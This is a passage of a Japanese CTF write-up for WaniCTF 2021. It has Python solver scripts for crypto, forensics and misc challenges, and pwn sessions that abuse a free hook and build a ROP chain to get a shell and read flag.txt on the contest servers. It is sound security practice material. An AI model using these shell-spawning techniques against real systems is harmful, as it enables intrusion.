この大会は2021/4/30 10:00(JST)~2021/5/2 20:00(JST)に開催されました。
この大会は個人戦。結果は4651点で450人中31位でした。
非常に残念。もう少し上位に行きたかった。
スコアのカテゴリごとの分布はこんな感じ。やはりPwn, Webが弱いか。
あとで他の人のWriteupを見ると、こんなことかという問題もあったが、それに気づかなかったこととか、やってみなかったことを反省です。
自分の解けた問題をWriteupとして書いておきます。
Simple conversion (Crypto)
int.from_bytesでフラグ文字列が数値になっているだけなので、数値を文字列化してフラグ文字列に戻す。
with open('output.txt', 'r') as f:
enc = int(f.read())
flag = enc.to_bytes((enc.bit_length() + 7) // 8, 'big')
print(flag)
FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}
Easy (Crypto)
Affine cipherのコードのようだ。A, Bの値をブルートフォースして復号する。
from Crypto.Util.number import *
def decrypt(ciphertext: str, a: int, b: int) -> str:
plaintext = ''
for x in ciphertext:
if 'A' <= x <= 'Z':
x = ord(x) - ord('A')
x = ((x - b) * inverse(a, 26)) % 26
x = chr(x + ord('A'))
plaintext += x
return plaintext
with open('output.txt', 'r') as f:
enc = f.read().rstrip()
found = False
for a in range(26):
for b in range(26):
flag = decrypt(enc, a, b)
if flag.startswith('FLAG'):
found = True
print(flag)
break
if found:
break
FLAG{WELCOMETOCRYPTOCHALLENGE}
Can't restore the flag? (Crypto)
サーバは、フラグを指定の数値で割った余りの数値を表示する。2以上300以下で試し、CRTによりflagを求める。
import socket
from sympy.ntheory.modular import crt
from Crypto.Util.number import long_to_bytes
def recvuntil(s, tail):
data = ''
while True:
if tail in data:
return data
data += s.recv(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crt.cry.wanictf.org', 50000))
mod_list = []
rem_list = []
for mod in range(2, 301):
data = recvuntil(s, '> ')
print data + str(mod)
s.sendall(str(mod) + '\n')
data = recvuntil(s, '\n').rstrip()
print data
mod_list.append(mod)
rem_list.append(int(data))
flag = crt(mod_list, rem_list)[0]
flag = long_to_bytes(flag)
print(flag)
実行結果は以下の通り。
Mod > 2
0
Mod > 3
2
Mod > 4
2
:
Mod > 297
65
Mod > 298
56
Mod > 299
293
Mod > 300
290
FLAG{Ch1n3s3_r3m@1nd3r_7h30r3m__so_u5eful}
FLAG{Ch1n3s3_r3m@1nd3r_7h30r3m__so_u5eful}
Extra (Crypto)
RSA暗号だが、Mの値 (M = 2 * p + q) もわかっている。わかっていることから式を変形する。
q = M - 2 * p
N = p * q = p * (M - 2 * p) = - 2 * p**2 + M * p
このことから、以下の方程式を解けばpがわかり、qもわかる。
2 * p**2 - M * p + N = 0
あとはそのまま復号すればよい。
from sympy import *
from Crypto.Util.number import *
with open('output.txt', 'r') as f:
N = int(f.readline().rstrip().split(' ')[-1])
M = int(f.readline().rstrip().split(' ')[-1])
e = int(f.readline().rstrip().split(' ')[-1])
c = int(f.readline().rstrip().split(' ')[-1])
p = Symbol('p')
eq = Eq(2 * p**2 - M * p + N)
ans = solve(eq)
for p in ans:
if type(p) == Integer:
p = int(p)
break
q = N / p
assert N == p * q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m)
print flag
FLAG{@n_ex7ra_param3ter_ru1n5_3very7h1n9}
OUCS (Crypto)
サーバのコードから、通常のOkamoto–Uchiyama cryptosystemで、4つの選択肢から選択すると、対応する処理をして表示をすることがわかる。この暗号では、Enc(a + b) = Enc(a) * Enc(b) になることから、Enc(flag) * Enc(flag) = Enc(flag * 2)になる。このことを使って、復号する。
import socket
from Crypto.Util.number import long_to_bytes
def recvuntil(s, tail):
data = ''
while True:
if tail in data:
return data
data += s.recv(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('oucs.cry.wanictf.org', 50010))
data = recvuntil(s, '> ')
print data + '4'
s.sendall('4\n')
data = recvuntil(s, '\n').rstrip()
print data
n = eval(data.split(' = ')[1])
data = recvuntil(s, '> ')
print data + '1'
s.sendall('1\n')
data = recvuntil(s, '\n').rstrip()
print data
flag_enc = eval(data.split(' = ')[1])
c = pow(flag_enc, 2, n)
data = recvuntil(s, '> ')
print data + '3'
s.sendall('3\n')
data = recvuntil(s, '> ')
print data + str(c)
s.sendall(str(c) + '\n')
data = recvuntil(s, '\n').rstrip()
print data
m = eval(data.split(' = ')[1])
m = m / 2
flag = long_to_bytes(m)
print flag
実行結果は以下の通り。
.oooooo. ooooo ooo .oooooo. .oooooo..o
d8P' `Y8b `888' `8' d8P' `Y8b d8P' `Y8
888 888 888 8 888 Y88bo.
888 888 888 8 888 `"Y8888o.
888 888 888 8 888 `"Y88b
`88b d88' `88. .8' `88b ooo oo .d8P
`Y8bood8P' `YbodP' `Y8bood8P' 8""88888P'
╭─────────────────────╮
│ 1. Encrypt flag │
│ 2. Encrypt │
│ 3. Decrypt │
│ 4. Show public key │
│ 5. Exit │
╰─────────────────────╯
> 4
n = 0x91fa8c5293fd52c9e84437f64b8aebd95ac9fea83a8f5b648ee6f90889fd9143e200e5825812a229d862922d81035f0dc0633c5d0ecaf0ad450dc169f0415c5a374407e29771bae86edb5e1d6ded87da4657be393fccb69853c1dd5649dd2e067e12edd35d8cffef24a3cd20c4a512c7f4f2164b920619599806bf1675ebccc6d14f1c6df0c7bd7e16acd58bd6f06695572760ca9ed85c331b072fe9a32cf3b0c1555bf20e9e28cfac54f1b1da4912f89806391b603a0ce4b9e9f9c85a1bdec99868e67322c29b70f269e327a2dfaae31ec7d258ad68fdf98a08edcd6274f6563a947c63111cc5bf83fc0784a8608df38eccfb3e3b082ce8f67f894bfac66f9646631d51de783407e14bcbaeff2aaa741923d045d4c909a7fc2ec9fd504e14918837304204ded0e897f6cc56d26cfe6f50712439d7b77842b5f250a51632eb3219b4b372bbf4660b77df742f30c48a4969095f8b07eebd9264d238c26feedb8e7f4171ea21ce33bee5a5c59a48ee5f573ad8be4d0649a33062fd0d2775c44bdf
g = 0x58da84ccd9b88a939e780b265ab615d98443e1b6a4f4ec70ef9fa3a75056806f1045b68621d6174c673938af61313d90c5e008186d450a2cdf745e087704ffc7d92c5c6e72ead1269c646845153edb3e2cd7cfc55a58cbb661e8d692539d1d882c3605f73afe2f4e3638f14c215890402683f12741d33724fc7d6490217ea15b38507407b414ce09649c2d671b4e6a609153532533a4eb717522a5a5368f040af0c58594afb4c23de02cb6e901b743c715e06d8cae7439b475ab527f5a8268ea5ba681dc08ccd6b90ecdd06edb42452a6120c147193e6ee700fba7e846a31e66810f0381ef5271f4b13816b668c81f6920b756e327fc77199af53e2ff7c1259203c7292219705100c33d7e33035c9dd727dda30e21467b40160884eb871e27ea70dfed1e408b125c71c24eb71b84cf3b96c71b80c23f9bc783c30952ade8bdb9b8eaabf007709f2bbc89b68ff659da624ac7099dfd7a4af4969a1a95b4dfc2dc13cb61f24e02e67e16f3887bcd03b0d3eaa62df005e3bc1007bbac503671d18
h = 0x59f2dbdae465c14f45d62e0a681e80284b6e903332375df321801ff86d9d4a3680fad61b3e825dd2cab7bfce88663a60635b53298e65957587d6a3d22f2494124c77e0c32006806fa27ef6f3c24ed9dd2c9f6657aec465772a4babe0c4be27c0267a9400c5f1f2e46552e128b81b0491545900e594cabc4d2f3f60018d23d48d07c866f51d91d8f5aff7f12110ca7200dccb72f26c59311cd02dc40ffce426f92c674ad85039ac7904ec5fb0c025903eeb94d53ca2bf6a0421d79543c72b27e9f431409bc9508e3f59ad91fe223b43e5c57afbe08e10c05d75e7ad15541b5fa000c1be457d820cc6c2ccda70c3f2640e340d8deecc821a382303c2e638b013e8d4248a80c888d530946fa35b8fedeb9a8b63ac432bcbec39c26e38e382ff09b18b6199def31c152e04031ebd9192ef5cc961b580aa74872e17d910c1aed3e2522f338720d71b412bf5968dad7a3214fa2a243aa5b6ba3fe84bc2c7cf24afa98447eccbd0d1221a92f152c9096842001dad8507da1f1c4fa5ed6d1608d1732d34
╭─────────────────────╮
│ 1. Encrypt flag │
│ 2. Encrypt │
│ 3. Decrypt │
│ 4. Show public key │
│ 5. Exit │
╰─────────────────────╯
> 1
ciphertext = 0x33f3e42d5ffceb31473a03feabe574b6209005eeeac2142756a1d06fc002d2d30a2a366c86e322e39852d777a5251858a7d197d5b93d672a37c09930af76053060ac6d06275112c0f2892d0b3b634e670c0b9f45b4deacf0eddc1161b31798bc3c8024a00459cd0ec1c69b751357fb8ad625a83c91ca7b2eae9e81f2c9badfe300441c58f861b5ed7472bca50b86999638a7da8b0956661c168f467567e741c622186c103838a8f8d51276e4a247823214fd7b2cd95c3bcb64693f291e1d324e255e824655e94fddae751c09bca99e71d9c69e58ec0cffad5515992a362d756661c2ef3b34fac50db2c3c1c700960312d169e5fa92ba3b00b2e6bfb7938e1dfdbee52cb2dc4c4f3d61ac1498318be999a4e5da53e20e97e754df7ccfe1f8971ea676239e4b5a304f546c2db8d7b9573bfa1a838e18e65a6df7b1ed16c7175cad82023253539e83e14cfcae2b4d34ac308e80e3c7787568c386a12c869c22e40683f743661514e9618eb9bf599a692a76d3502616a83019d490c07beef40eabf3
╭─────────────────────╮
│ 1. Encrypt flag │
│ 2. Encrypt │
│ 3. Decrypt │
│ 4. Show public key │
│ 5. Exit │
╰─────────────────────╯
> 3
Enter your ciphertext
> 972502408448353733722317501707311270567983254039876442607508119290611415301354130975690806304957275839049056511537564462169539550781353847251487955524001806208733683164616063161142591094650455415772105150298335959838639695103265543469663771476737545866023727163036821109449829188994769485495428515699559938683253328177410152110422109983126644966297670856790946955820334738120411921636741917740481195949951986513315901493776931936120646265522877321494961812836019797491478649109283951720896092842745779316624271453851315233640772276708106770785351611010554556116226991209979276968069712968404732384082770663418993425145805207348541130113867933154005943584952915342553770635138425308016438617088978537389674219007308106481297071241786104337345579938848904582114590904489584988433401027544524232677022451052518355762996080450703429677781999427311046256151338108546732373191614424875540283736944546830720280634452838877435446613
plaintext = 0x8c98828ef69eaabec860cae6bedc60e8bee4cae0e4ca6a66dce8be9ee6c2d6c2beaadcd2eccae4e6d2e8f2bec4eae8be9ed6c2dadee8de5aaac6d0d2f2c2dac2fa
FLAG{OU_d0es_n0t_repre53nt_Osaka_University_but_Okamoto-Uchiyama}
FLAG{OU_d0es_n0t_repre53nt_Osaka_University_but_Okamoto-Uchiyama}
presentation (Forensics)
ppsxが添付されていて、このファイルを開いてみるが、「FLAG{xxx}」のxxxがマスクされていてわからない。zip解凍して、\presentation\ppt\slides\slide1.xmlを見ると、FLAG{}の中身がわかる。
FLAG{you_know_how_to_edit_ppsx}
secure document (Forensics)
flag_20210428.zipというパスワード付きzipと、以下の内容がかいてある password-generator というファイルが添付されている。
::the::
Send, +wani
return
::password::
Send, +c+t+f
return
::for::
Send, {home}{right 3}{del}1{end}{left 2}{del}7
return
::today::
FormatTime , x,, yyyyMMdd
SendInput, {home}{right 4}_%x%
return
::is::
Send, _{end}{!}{!}{left}
return
:*?:ni::
Send, ^a^c{Esc}{home}password{:} {end}
return
"SendInput"や"FormatTime"など調べてみたら、AutoHotKeyのコマンドになっている。http://ahkwiki.net/Sendなどを参考にする。問題には以下のように書いてあるので、そのように打鍵したときにどう出力されるのかを順を追って考える。
the password for today is nani
["the"完了時]
Wani
["password"完了時]
WaniCTF
["for"完了時]
Wan1C7F
["today"完了時]
Wan1_20210428C7F
["is"完了時]
Wan1_20210428_C7F!!
["nani"完了時]
password: Wan1_20210428_C7F!na!
このパスワードでflag_20210428.zipを解凍すると、flag.jpgが展開される。この画像ファイルにフラグが書いてあった。
FLAG{Nani!very_strong_password!}
slow (Forensics)
wavが添付されているので、Audacityで見てみる。
平坦に見える波形で、wavの画像受信データがありそうなので、sstvのツールでデコードしてみる。
$ sstv -d slow.wav -o flag.png
[sstv] Searching for calibration header... Found!
[sstv] Detected SSTV mode Martin 1
[sstv] Decoding image... [#############################################] 100%
[sstv] Drawing image data...
[sstv] ...Done!
画像を見たら、フラグが書いてあった。
FLAG{encoded_by_slow-scan_television}
illegal image (Forensics)
裏で画像データをやり取りしていると問題にあることからICMPの通信に隠されていると推測する。ICMP通信を見ると、JPEGデータが送信されているのがわかったので、取り出し結合する。
from scapy.all import *
packets = rdpcap('illegal_image.pcap')
flag = ''
for p in packets:
if p.haslayer(ICMP) and p[ICMP].type == 0:
flag += p[Raw].load
with open('flag.jpg', 'wb') as f:
f.write(flag)
画像にフラグが書いてあった。
FLAG{ICMP_Exfiltrate_image}
binary (Misc)
サンプルコードは"WANI"という文字列をbit文字列にして表示後、元に戻して表示している。元に戻すコードもあるので、それを使って元に戻す。
with open('binary.csv', 'r') as f:
bits = [int(bit) for bit in f.read().rstrip().split('\n')]
s = ''
c = 0
for i in range(len(bits)):
val = int(bits[i])
c = (c << 1) | val
if i % 8 == 7:
s = s + chr(c)
c = 0
print(s)
FLAG{the_basic_knowledge_of_communication}
Git Master (Misc)
Dokerのイメージを配布しているURLが提示されている。イメージからコンテナを構築し、入ってみる。
$ sudo docker pull wanictf21spring/nginx_on_ubuntu
Using default tag: latest
latest: Pulling from wanictf21spring/nginx_on_ubuntu
a70d879fa598: Pull complete
c4394a92d1f8: Pull complete
10e6159c56c0: Pull complete
0ff2c7c262e9: Pull complete
3ca67b0aea04: Pull complete
Digest: sha256:2f26ab46d70e32b71811700c68beb7a7d9ef6041f90bab205c81ac52699c51fc
Status: Downloaded newer image for wanictf21spring/nginx_on_ubuntu:latest
docker.io/wanictf21spring/nginx_on_ubuntu:latest
$ sudo docker run -dit --name gitmaster -p 80:80 wanictf21spring/nginx_on_ubuntu:latest
bbaa6aa613998b55feaf6d724ad0292583e030b75af3e82ebae73cab8a2db4f8
$ sudo docker exec -it gitmaster /bin/bash
root@bbaa6aa61399:/var/www
root@bbaa6aa61399:/var/www/html
total 52
drwxr-xr-x 1 root root 4096 Apr 13 04:39 .
drwxr-xr-x 1 root root 4096 Apr 13 04:57 ..
-rw-r--r-- 1 root root 10 Apr 13 04:39 Flag.txt
drwxr-xr-x 6 root root 4096 Apr 13 01:07 assets
-rw-r--r-- 1 root root 17542 Apr 13 01:07 favicon.ico
-rw-r--r-- 1 root root 9365 Apr 13 00:01 index.html
-rw-r--r-- 1 root root 612 Apr 13 02:17 index.nginx-debian.html
root@bbaa6aa61399:/var/www/html
FLAG{y0u_
フラグの断片があった。
root@bbaa6aa61399:/var/www/html# cd ..
root@bbaa6aa61399:/var/www# ls -la
total 32
drwxr-xr-x 1 root root 4096 Apr 13 04:57 .
drwxr-xr-x 1 root root 4096 Apr 13 02:17 ..
drwxr-xr-x 8 root root 4096 Apr 13 04:39 .git
-rw-r--r-- 1 root root 181 Apr 13 04:39 Dockerfile
-rw-r--r-- 1 root root 95 Apr 13 04:39 docker-compose.yml
drwxr-xr-x 1 root root 4096 Apr 30 14:47 html
.gitディレクトリがあったので、ローカルに転送するためにアーカイブにする。
root@bbaa6aa61399:/var/www# tar cvf html/git.tar ./.git
./.git/
./.git/branches/
./.git/info/
./.git/info/exclude
./.git/objects/
./.git/objects/44/
./.git/objects/44/702362495fe66f887448f98bc0b5d6be503efb
./.git/objects/08/
./.git/objects/08/2edd4e7b973fe74e0a2c21b14d52ce95517330
./.git/objects/a2/
./.git/objects/a2/fed4a4a6a1d608e43d0e18968666e6cb235526
./.git/objects/8d/
./.git/objects/8d/d61184bf3d290085c43d541865bc2fe2a60844
./.git/objects/51/
./.git/objects/51/1bb8eac45d3f039e2ab5eec36ce8dd687f5d63
./.git/objects/f4/
./.git/objects/f4/fff0471d0d6521eb609d30f760a298cd9541f9
./.git/objects/c8/
./.git/objects/c8/d70ab0fd2520d5530468ac8a007954f1052ad9
./.git/objects/45/
./.git/objects/45/5b47a724881078a55e9cf145b49c4d847ef9f4
./.git/objects/ef/
./.git/objects/ef/189e042918048fad826998ed2ff17e56654eb4
./.git/objects/a4/
./.git/objects/a4/634183951546581a0d2735d85f21a419dc0c72
./.git/objects/77/
./.git/objects/77/a56b2b0e0275d772199fdc1b07102e27aede11
./.git/objects/64/
./.git/objects/64/a9f8c7602cfcc5dfef19d8a18828779cc05d3f
./.git/objects/c0/
./.git/objects/c0/ac3406b60ce14584dbef504293f429a7a102e3
./.git/objects/c0/a94e2c012291136cccebdd0b357b26a3f63aa5
./.git/objects/35/
./.git/objects/35/1090df79c57012ab2712901728d32b0594a69a
./.git/objects/35/ae69523d6f97cbadebe413def050adb547e35a
./.git/objects/14/
./.git/objects/14/a76c6030cf11b6241f0df80480ce5cdf3db695
./.git/objects/69/
./.git/objects/69/19be129dd806595762632b6ca24ebab8fe593e
./.git/objects/4c/
./.git/objects/4c/0f80e390ddfa7c58914a4d2e4863788c23c415
./.git/objects/70/
./.git/objects/70/157c02757232ae17be60459945acd920f2b538
./.git/objects/b4/
./.git/objects/b4/1601462b20845f9e0680fa77ebccd2cf42fe7c
./.git/objects/info/
./.git/objects/fe/
./.git/objects/fe/2ed860f4ccf421ff9316e614128de5fea7ade3
./.git/objects/b3/
./.git/objects/b3/d46d127fce3c8c3d2cb8a234a6d3f7bb8bbcaf
./.git/objects/3a/
./.git/objects/3a/614b08e15c6fc282376f13b825ad0652f58cf8
./.git/objects/d4/
./.git/objects/d4/c4bca3f2dc59ae22a76308c01700a2786de3cd
./.git/objects/d4/3a3b21ce5236a1b8937fd149ec9514751fb1a2
./.git/objects/aa/
./.git/objects/aa/8cfc4b21158aa896f1676f44f675eba1067210
./.git/objects/6e/
./.git/objects/6e/7b9d9c4fab5ef27ede4568f557b0dff4e1b3ae
./.git/objects/42/
./.git/objects/42/8833073ab18a3890a89de8c8066969baa0a295
./.git/objects/2b/
./.git/objects/2b/a1903e57dd6f37d64f195c43fe6d73abb6725b
./.git/objects/2b/fd1c362f310a7fbb2be6fd3546819d456b4499
./.git/objects/6a/
./.git/objects/6a/784d9649db84ce32196cfc5091303a87042467
./.git/objects/f1/
./.git/objects/f1/43641105c1de6e660ca2f71b85b1eea2cb49a1
./.git/objects/73/
./.git/objects/73/7f9d108236e05f619c40963e92285bb643663a
./.git/objects/a1/
./.git/objects/a1/97abfccd60d55469f62622796897f9ee891f18
./.git/objects/4d/
./.git/objects/4d/44f68a4f1e7fedf2c7962be92a9a28b9bb4868
./.git/objects/95/
./.git/objects/95/9a27def1ad3d80095b73cb2ff262100212497a
./.git/objects/d9/
./.git/objects/d9/868ef339a2c7d8d9975cdd549101081649f89d
./.git/objects/92/
./.git/objects/92/84d6d93b19e5b2ae3ea963138fe08157d4e3fa
./.git/objects/60/
./.git/objects/60/ca0b1f76d898f5c11a381592d5c37385bebea8
./.git/objects/60/f12b5453bbc53db87ac77d580361c0b1993c77
./.git/objects/1f/
./.git/objects/1f/c314c2c56d52bd2381d98c0a59ea8a8deeed6b
./.git/objects/e2/
./.git/objects/e2/599825e618a7978ff3ed2f20b0bc33ef216f6d
./.git/objects/0b/
./.git/objects/0b/c052a041629b6b33a6b675b7b705727cf2b2ba
./.git/objects/05/
./.git/objects/05/8a5020310afc637ee59cf3dfc371d2be91b4d0
./.git/objects/94/
./.git/objects/94/087f63576bee2a81dc315efd864a01f2da0897
./.git/objects/9f/
./.git/objects/9f/79020f7c87498b2c31631320a819b6ce5f7db8
./.git/objects/9f/578c697df49ea14e2887b1eef7d5b0d47bfc58
./.git/objects/dc/
./.git/objects/dc/47e3a0eb6537174801f7223ef27315ab37ae2c
./.git/objects/f9/
./.git/objects/f9/9f791c31212b6663f3f5d3e29b7caf8dac887e
./.git/objects/ae/
./.git/objects/ae/26825ee9c437fd3b7fcddcd5ccea9545f7389e
./.git/objects/8b/
./.git/objects/8b/3b277314f0791fbab20b30df2c898c7ddf6644
./.git/objects/ee/
./.git/objects/ee/2ff0e832bb3b55b67365897f837678964bba11
./.git/objects/6c/
./.git/objects/6c/c0b29f5ce571d1a1e36b43d91681dbae7c22aa
./.git/objects/e4/
./.git/objects/e4/c9da8d153ceb2efdc7521ac71d522ca7ca5fb7
./.git/objects/f0/
./.git/objects/f0/07f269599e168777f376e71d5d84020f3bbbaf
./.git/objects/cb/
./.git/objects/cb/29ddc5d574be325a2485fbb71bc1f00ce7208c
./.git/objects/cb/6f48aff726e3a861bce276c654140136ab40ce
./.git/objects/cb/2205c8960db8cb7bd6dcc31a5d00fde863f8f4
./.git/objects/pack/
./.git/objects/4a/
./.git/objects/4a/182be10739fa02222e2502870637bd3126a1fb
./.git/objects/1b/
./.git/objects/1b/5bfaf9a29aff8173115b388e097765d9563252
./.git/objects/7a/
./.git/objects/7a/3aa17c3ef5b0aa44f1f465444d904f9d67082d
./.git/objects/49/
./.git/objects/49/ceff2ab5d8e556a73c6cc2ebd5435559d83bbf
./.git/objects/03/
./.git/objects/03/63feb595d0b1e45d95c12df2d1705fbb71f0bd
./.git/objects/03/8e7a9db5adf5356ec2dadfbff45d0a2127e1f0
./.git/objects/d5/
./.git/objects/d5/6105569614e51c85ceb1a32994bf4711418439
./.git/objects/79/
./.git/objects/79/c413edb2d73bad622242e1644709f70b5da3d2
./.git/refs/
./.git/refs/tags/
./.git/refs/original/
./.git/refs/heads/
./.git/refs/heads/master
./.git/refs/heads/temporary
./.git/ORIG_HEAD
./.git/HEAD
./.git/index
./.git/hooks/
./.git/hooks/pre-applypatch.sample
./.git/hooks/update.sample
./.git/hooks/pre-rebase.sample
./.git/hooks/pre-merge-commit.sample
./.git/hooks/pre-receive.sample
./.git/hooks/fsmonitor-watchman.sample
./.git/hooks/prepare-commit-msg.sample
./.git/hooks/pre-push.sample
./.git/hooks/applypatch-msg.sample
./.git/hooks/commit-msg.sample
./.git/hooks/pre-commit.sample
./.git/hooks/post-update.sample
./.git/description
./.git/logs/
./.git/logs/refs/
./.git/logs/refs/heads/
./.git/logs/refs/heads/master
./.git/logs/refs/heads/temporary
./.git/logs/HEAD
./.git/COMMIT_EDITMSG
./.git/config
ローカルに戻って、作成したtarをダウンロードし、解凍する。いろいろオブジェクトを確認していく。
$ python -c 'import zlib; print zlib.decompress(open("objects/ae/26825ee9c437fd3b7fcddcd5ccea9545f7389e").read())' | xxd -g 1
00000000: 74 72 65 65 20 31 34 36 00 31 30 30 36 34 34 20 tree 146.100644
00000010: 46 6c 61 67 2e 74 78 74 00 ef 18 9e 04 29 18 04 Flag.txt.....)..
00000020: 8f ad 82 69 98 ed 2f f1 7e 56 65 4e b4 34 30 30 ...i../.~VeN.400
00000030: 30 30 20 61 73 73 65 74 73 00 2b fd 1c 36 2f 31 00 assets.+..6/1
00000040: 0a 7f bb 2b e6 fd 35 46 81 9d 45 6b 44 99 31 30 ...+..5F..EkD.10
00000050: 30 36 34 34 20 66 61 76 69 63 6f 6e 2e 69 63 6f 0644 favicon.ico
00000060: 00 73 7f 9d 10 82 36 e0 5f 61 9c 40 96 3e 92 28 .s....6._a.@.>.(
00000070: 5b b6 43 66 3a 31 30 30 36 34 34 20 69 6e 64 65 [.Cf:100644 inde
00000080: 78 2e 68 74 6d 6c 00 6e 7b 9d 9c 4f ab 5e f2 7e x.html.n{..O.^.~
00000090: de 45 68 f5 57 b0 df f4 e1 b3 ae 0a .Eh.W.......
$ python -c 'import zlib; print zlib.decompress(open("objects/ef/189e042918048fad826998ed2ff17e56654eb4").read())'
blob 9_m45t3r}
$ python -c 'import zlib; print zlib.decompress(open("objects/c8/d70ab0fd2520d5530468ac8a007954f1052ad9").read())' | xxd -g 1
00000000: 74 72 65 65 20 31 34 36 00 31 30 30 36 34 34 20 tree 146.100644
00000010: 46 6c 61 67 2e 74 78 74 00 f9 9f 79 1c 31 21 2b Flag.txt...y.1!+
00000020: 66 63 f3 f5 d3 e2 9b 7c af 8d ac 88 7e 34 30 30 fc.....|....~400
00000030: 30 30 20 61 73 73 65 74 73 00 2b fd 1c 36 2f 31 00 assets.+..6/1
00000040: 0a 7f bb 2b e6 fd 35 46 81 9d 45 6b 44 99 31 30 ...+..5F..EkD.10
00000050: 30 36 34 34 20 66 61 76 69 63 6f 6e 2e 69 63 6f 0644 favicon.ico
00000060: 00 73 7f 9d 10 82 36 e0 5f 61 9c 40 96 3e 92 28 .s....6._a.@.>.(
00000070: 5b b6 43 66 3a 31 30 30 36 34 34 20 69 6e 64 65 [.Cf:100644 inde
00000080: 78 2e 68 74 6d 6c 00 6e 7b 9d 9c 4f ab 5e f2 7e x.html.n{..O.^.~
00000090: de 45 68 f5 57 b0 df f4 e1 b3 ae 0a .Eh.W.......
$ python -c 'import zlib; print zlib.decompress(open("objects/f9/9f791c31212b6663f3f5d3e29b7caf8dac887e").read())'
blob 164r3_p3rf3c7_g1t
Flag.txtの編集履歴から見つけた文字列を結合する。
FLAG{y0u_4r3_p3rf3c7_g1t_m45t3r}
Automaton Lab (Misc)
Rule30のルールに従って、Q1, Q2はそのまま答える。Q3は非常に大きいが、途中でループになるはずなので、ループのサイクルを割り出し、そのインデックスを求め、答える。
import socket
def recvuntil(s, tail):
data = ''
while True:
if tail in data:
return data
data += s.recv(1)
def get_next_str(s):
dic = {'111': '0', '110': '0', '101': '0', '100': '1',
'011': '1', '010': '1', '001': '1', '000': '0'}
d = ''
for i in range(len(s)):
t = s[i-1] + s[i] + s[(i+1)%len(s)]
d += dic[t]
return d
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('automaton.mis.wanictf.org', 50020))
data = recvuntil(s, ')\n').rstrip()
print data
s.sendall('\n')
data = recvuntil(s, '> ')
print data[:-1],
automaton = data.split('\n')[-3].split(' ')[-1]
gen = int(data.split('\n')[-2].split(' ')[-1])
for i in range(gen):
automaton = get_next_str(automaton)
print automaton
s.sendall(automaton + '\n')
data = recvuntil(s, '> ')
print data[:-1],
automaton = data.split('\n')[-3].split(' ')[-1]
gen = int(data.split('\n')[-2].split(' ')[-1])
for i in range(gen):
automaton = get_next_str(automaton)
print automaton
s.sendall(automaton + '\n')
data = recvuntil(s, '> ')
print data[:-1],
automaton = data.split('\n')[-3].split(' ')[-1]
gen = int(data.split('\n')[-2].split(' ')[-1])
answers = [automaton]
for i in range(2**15):
automaton = get_next_str(automaton)
if automaton not in answers:
answers.append(automaton)
else:
index = answers.index(automaton)
print index
break
answers = answers[index:]
cycle_len = len(answers)
automaton = answers[((gen - index) % cycle_len)]
print automaton
s.sendall(automaton + '\n')
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
実行結果は以下の通り。
Welcome to Automaton Lab.!
We study about automaton in there, here is the space of "Rule 30"[1] automaton.
We breed 15 cells automaton now, they are ring-connected -- they are connected the first cell and the last cell.
Our interest is what this cute automaton grow up in future, we want your help to expect their growth.
[1]: https://en.wikipedia.org/wiki/Rule_30
For example, now automaton state is "100000100000001" ('1' is alive and '0' is dead) and in next generation they are "010001110000011".
generation state
0 100000100000001
1 010001110000011
2 011011001000110
We give you initial state(init) and generation(gen). You write down the state of this automaton of the nth generation in binary.
Are you ready?
(press enter key to continue)
OK! Here we go! The first question is warming up.
init = 011101010111100
gen = 7
> 110010111001000
Great! The second question is below.
init = 000110000000000
gen = 997
> 101011110101111
Even if human become extinct, we wanna see the view of prosperity of cell automaton. This is last question.
init = 000000000000001
gen = 126398516620674013019848789864125130087754056459005394082216364042030884420341986809725135763853530970927817015726724392576100867235130072915186626915539006159827017021536585317153119779669735542196802036197311048258357232726626315375252420455232968913174748940431822360827924726272991102219461489407251273261
> 47
011110110000001
Jesus!!! Are you the genius of future sight? We award you the special prize.
FLAG{W3_4w4rd_y0u_d0c70r473_1n_Fu7ur3_S1gh7}
FLAG{W3_4w4rd_y0u_d0c70r473_1n_Fu7ur3_S1gh7}
01 netcat (Pwn)
ncで接続するだけ。
$ nc netcat.pwn.wanictf.org 9001
congratulation!
please enter "ls" command
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{this_is_the_same_netcat_problem_as_previous_one}
FLAG{this_is_the_same_netcat_problem_as_previous_one}
02 free hook (Pwn)
__free_hookにsystem関数が設定されている。freeでメモリ開放するデータが__free_hookに渡されるので、memoとして実行したいコマンドを登録して、削除するようにすれば、指定したコマンドを実行できる。
$ nc free.pwn.wanictf.org 9002
1: add memo
2: view memo
9: del memo
command?: 1
index?[0-9]: 0
memo?: ls
[[[list memos]]]
***** 0 *****
ls
1: add memo
2: view memo
9: del memo
command?: 9
index?[0-9]: 0
chall
flag.txt
redir.sh
[[[list memos]]]
1: add memo
2: view memo
9: del memo
command?: 1
index?[0-9]: 0
memo?: cat flag.txt
[[[list memos]]]
***** 0 *****
cat flag.txt
1: add memo
2: view memo
9: del memo
command?: 9
index?[0-9]: 0
FLAG{malloc_hook_is_a_tech_for_heap_exploitation}
[[[list memos]]]
1: add memo
2: view memo
9: del memo
command?:
FLAG{malloc_hook_is_a_tech_for_heap_exploitation}
03 rop machine easy (Pwn)
問題によれば、"/bin/sh"のアドレスは提供されているので、system("/bin/sh")を実行できればよい。
$ nc rop-easy.pwn.wanictf.org 9003
"/bin/sh" address is 0x404070
[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
"system" is appended
> 9
rop_arena
+--------------------+
| pop rdi; ret |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system |
+--------------------+
> 0
rop_arena
+--------------------+
| pop rdi; ret |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{this-is-simple-return-oriented-programming}
FLAG{this-is-simple-return-oriented-programming}
04 rop machine normal (Pwn)
rdiは"/bin/sh"のアドレス、rsi, rdxは0、raxはexecveのsyscall番号を指定して、syscallを実行できればよい。
$ nc rop-normal.pwn.wanictf.org 9004
"/bin/sh" address is 0x404070
[menu]
1. append hex value
